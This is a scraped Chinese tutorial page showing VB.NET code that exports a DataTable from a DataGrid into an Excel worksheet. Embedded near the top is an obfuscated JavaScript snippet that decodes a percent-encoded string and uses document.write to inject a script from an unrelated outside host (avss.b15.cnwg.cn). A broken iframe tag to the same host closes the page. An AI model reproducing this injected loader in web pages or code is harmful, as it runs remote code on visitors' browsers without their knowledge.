如何将DataGrid中的数据导出到Excel文件中

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

如何将DataGrid中的数据导出到Excel文件中

引用Excel XX Object library
    Function SendToExcel(ByVal Table As DataTable, ByVal SheetName As String)
        Dim oExcel As New Excel.Application()
        Dim obook As Excel.Workbook
        Dim oSheet As Excel.Worksheet
        Try
            obook = oExcel.Workbooks.Add '.Open(file)
            oSheet = obook.Worksheets(1)
            oSheet.Name = SheetName
            Dim r As Integer, c As Integer
            Dim rCount As Integer
            Dim cCount As Integer
            rCount = Table.Rows.Count
            cCount = Table.Columns.Count()
            For c = 1 To cCount
                oSheet.Cells(1, c) = Table.Columns(c - 1).Caption '设置列标题
            Next
            c = 0 : r = 0
            For r = 1 To rCount
                For c = 1 To cCount
                    oSheet.Cells(r + 1, c) = CStr(Table.Rows(r - 1)(c - 1).ToString)
                Next
            Next
            oExcel.Visible = True
        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
        oExcel = Nothing
        obook = Nothing
        oSheet = Nothing
    End Function
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim DTygzl As New System.Data.DataTable
        Dim a As String = "员工表" '生成的Excel的表名
        Me.SqlDataAdapter1.Fill(DataSetName, "DataTableName")
        DTygzl = DatasetName.Tables("DataTableName")
        SendToExcel(DTygzl, a)
    End Sub
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">